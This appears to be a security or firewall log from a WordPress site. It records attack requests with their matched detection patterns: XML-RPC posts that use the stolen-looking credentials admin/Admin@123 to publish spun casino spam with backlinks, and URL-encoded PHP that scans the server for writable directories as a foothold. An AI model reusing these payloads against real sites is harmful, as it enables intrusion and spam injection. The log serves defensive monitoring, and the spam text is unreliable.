Their appeal lies in the blend of excitement, convenience and constant  technology.  Gamers no longer need to visit physical venues to experience real-money  video gaming.  Rather, they can open a mobile  application or  web browser and access hundreds of  video games within  mins. This  comfort  has actually created a  brand-new generation of  gamers who value  adaptability and  rapid access over  standard  online casino routines.<\/p> <p>The  development of secure payment  techniques and reliable  systems has also strengthened trust.  Accredited operators  comply with  stringent  regulations, while modern encryption technologies protect every transaction.  Therefore, players  really feel safer depositing and  taking out funds  on-line than  ever.<\/p> <h2>The  Selection of Games Available Today<\/h2> <p>One of the strongest  benefits of  on-line  gambling enterprises is the sheer  deepness of their  video game libraries. Digital platforms  supply everything from  timeless pokies and  modern-day  video clip slots to table  video games like blackjack, roulette and baccarat.  Online  dealership  areas add an  additional layer of  realistic look by streaming human croupiers directly to the  gamer& rsquo; s  display. These  workshops  integrate real  online casino  ambience with the comfort of playing at home.<\/p> <p>The  consistent release of new titles keeps the experience fresh. Game  service providers  frequently introduce  upgraded mechanics,  enhanced graphics and  appealing  bonus offer rounds. With  numerous  choices  readily available, players can  switch over  in between  motifs and gameplay styles without feeling limited.<\/p> <h2> Rewards and Promotions That  Forming Player Experience<\/h2> <p> On-line  gambling establishments  typically stand out  via their  marketing systems.  Rewards can enhance  very early sessions,  expand gameplay time and  supply a chance to  discover new games. Although every offer has specific  problems, the structure of bonuses plays a significant  function in  bring in new  gamers. Operators create unique  incentives for different  sorts of users,  making certain  novices and  seasoned  gamers alike can  locate something that  matches their style.<\/p> <p>Promotions also  construct  lasting  interaction.  Routine  incentives, special  occasions and exclusive campaigns  assist  preserve  rate of interest even after the  initial deposit. This  recurring value  is just one of the reasons why many  gamers  stay loyal to  details  gambling enterprise  brand names.<\/p> <h2>The  Value of Mobile-First Platforms<\/h2> <p>Mobile  video gaming has  changed the entire online  casino site  market. Most players  currently access their  preferred  video games through smartphones  instead of desktops. This shift  has actually encouraged operators to optimise every  attribute for smaller screens, making mobile experiences smoother,  quicker and  extra  user-friendly.<\/p> <p>Touch-based  user interfaces allow  all-natural interaction with games, while  light-weight  application  variations  use  instantaneous access without  jeopardizing on  high quality. Mobile-friendly  style also  makes certain players can  take pleasure in quick sessions during breaks or commutes.  Because of this, mobile  casino sites  have actually  come to be the  key  entrance to  on-line gaming for  several  customers worldwide.<\/p> <h2> Safety and security, Licensing and Responsible  Video Gaming<\/h2> <p> Depend on is the  structure of  on-line casino success.  Reliable operators obtain  permits from recognised authorities and  comply with  stringent  regulative  regulations. These  permits  verify that games  make use of audited  arbitrary number generators  which payouts  adhere to  clear  regulations.  Financial systems  additionally play a  important role, as encrypted transactions and modern  safety  devices  secure sensitive information.<\/p> <p>At the same time, responsible gaming  devices  assist  make sure that players  remain in control.  Functions such as deposit limits, cooldowns and self-exclusion  choices  produce a safer and  a lot more  encouraging  atmosphere. The industry  remains to  progress with new policies  made to protect  gamers from risky behaviours.<\/p> <h2>The Future of Online  Gambling Establishment  Enjoyment<\/h2> <p>The future of  on the internet  gaming points  towards  also  better  technology. Virtual reality experiences,  boosted live-dealer  communications and ultra-fast  settlement systems are  ending up being  extra common. Game  programmers  <a href=\"https:\/\/testtest-test.com\/perevirka\/\">https:\/\/testtest-test.com\/perevirka\/<\/a> explore  motion picture graphics and advanced  technicians that make  electronic play  extra immersive.<\/p> <p>As  innovation continues to  advance,  on the internet  casino sites will likely deliver  a lot more  customised experiences. Tailored  suggestions, adaptive  rewards and interactive features  will certainly shape the next stage of  electronic gaming. The  market  reveals no signs of  decreasing, and  gamers can  anticipate an  progressively  abundant and  appealing  atmosphere in the years ahead.<\/p>\r\n]]><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>title<\/name>\r\n<value><string>What Makes Modern Online Casinos So Popular<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>post_status<\/name>\r\n<value><string>publish<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_slug<\/name>\r\n<value><string>what-makes-modern-online-casinos-so-popular-1806<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>dateCreated<\/name>\r\n<value><dateTime.iso8601>20260420T11:15:08Z<\/dateTime.iso8601><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_password<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>categories<\/name>\r\n<value><array><data>\r\n<value><string>Uncategorized<\/string><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n<member>\r\n<name>custom_fields<\/name>\r\n<value><array><data>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_title<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>What Makes Modern Online Casinos So Popular<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_description<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>What Makes Modern Online Casinos So Popular Online casino sites have become one of the most vibrant corners of the digital home entertainment globe....<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_keywords<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string><\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n\r\n<\/struct><\/value>\r\n<\/param>\r\n<param>\r\n<value><boolean>1<\/boolean><\/value>\r\n<\/param>\r\n<\/params>\r\n<\/methodCall>"]
["2026-04-20 19:24:54","23.27.110.52","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/65.0.3325.181 Safari\/537.36","post","select.+(from|limit) >> <?xml version:'1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<h1>What Makes Modern Online Casinos So Popular<\/h1> <p>Online  casino sites have become one of the most  vibrant corners of the digital  home entertainment  globe. Their appeal lies in the blend of excitement, convenience and constant  technology.  Gamers no longer need to visit physical venues to experience real-money  video gaming.  Rather, they can open a mobile  application or  web browser and access hundreds of  video games within  mins. This  comfort  has actually created a  brand-new generation of  gamers who value  adaptability and  rapid access over  standard  online casino routines.<\/p> <p>The  development of secure payment  techniques and reliable  systems has also strengthened trust.  Accredited operators  comply with <a href=\"https:\/\/testtest-test.com\/perevirka\/\">https:\/\/testtest-test.com\/perevirka\/<\/a>  stringent  regulations, while modern encryption technologies protect every transaction.  Therefore, players  really feel safer depositing and  taking out funds  on-line than  ever.<\/p> <h2>The  Selection of Games Available Today<\/h2> <p>One of the strongest  benefits of  on-line  gambling enterprises is the sheer  deepness of their  video game libraries. Digital platforms  supply everything from  timeless pokies and  modern-day  video clip slots to table  video games like blackjack, roulette and baccarat.  Online  dealership  areas add an  additional layer of  realistic look by streaming human croupiers directly to the  gamer","POST \/xmlrpc.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/65.0.3325.181 Safari\/537.36\nhost:dewenlabels.com\ncontent-length:7538\naccept-encoding:identity\ncontent-type:text\/xml\n\n<?xml version='1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<h1>What Makes Modern Online Casinos So Popular<\/h1> <p>Online  casino sites have become one of the most  vibrant corners of the digital  home entertainment  globe. Their appeal lies in the blend of excitement, convenience and constant  technology.  Gamers no longer need to visit physical venues to experience real-money  video gaming.  Rather, they can open a mobile  application or  web browser and access hundreds of  video games within  mins. This  comfort  has actually created a  brand-new generation of  gamers who value  adaptability and  rapid access over  standard  online casino routines.<\/p> <p>The  development of secure payment  techniques and reliable  systems has also strengthened trust.  Accredited operators  comply with <a href=\"https:\/\/testtest-test.com\/perevirka\/\">https:\/\/testtest-test.com\/perevirka\/<\/a>  stringent  regulations, while modern encryption technologies protect every transaction.  Therefore, players  really feel safer depositing and  taking out funds  on-line than  ever.<\/p> <h2>The  Selection of Games Available Today<\/h2> <p>One of the strongest  benefits of  on-line  gambling enterprises is the sheer  deepness of their  video game libraries. Digital platforms  supply everything from  timeless pokies and  modern-day  video clip slots to table  video games like blackjack, roulette and baccarat.  Online  dealership  areas add an  additional layer of  realistic look by streaming human croupiers directly to the  gamer"]
["2026-04-20 20:05:40","166.88.172.254","POST","\/xmlrpc.php","Python-xmlrpc\/3.11","post","select.+(from|limit) >> gt; Wide game selection from trusted developers ","POST \/xmlrpc.php HTTP\/1.1\nuser-agent:Python-xmlrpc\/3.11\nhost:dewenlabels.com\naccept-encoding:gzip\ncontent-type:text\/xml\ncontent-length:8265\n\n<?xml version='1.0'?>\n<methodCall>\n<methodName>wp.newPost<\/methodName>\n<params>\n<param>\n<value><int>1<\/int><\/value>\n<\/param>\n<param>\n<value><string>admin<\/string><\/value>\n<\/param>\n<param>\n<value><string>Admin@123<\/string><\/value>\n<\/param>\n<param>\n<value><struct>\n<member>\n<name>post_title<\/name>\n<value><string>What is WinSpirit Casino?<\/string><\/value>\n<\/member>\n<member>\n<name>post_content<\/name>\n<value><string>&lt;a href='https:\/\/edmonton8.ca'"]
["2026-04-20 22:31:07","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Aq:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\ncontent-length:3339\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDKRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\n\nAq=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-04-20 22:37:39","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> It:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFKDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-length:3339\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\n\nIt=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-04-20 23:06:03","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> bW:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%2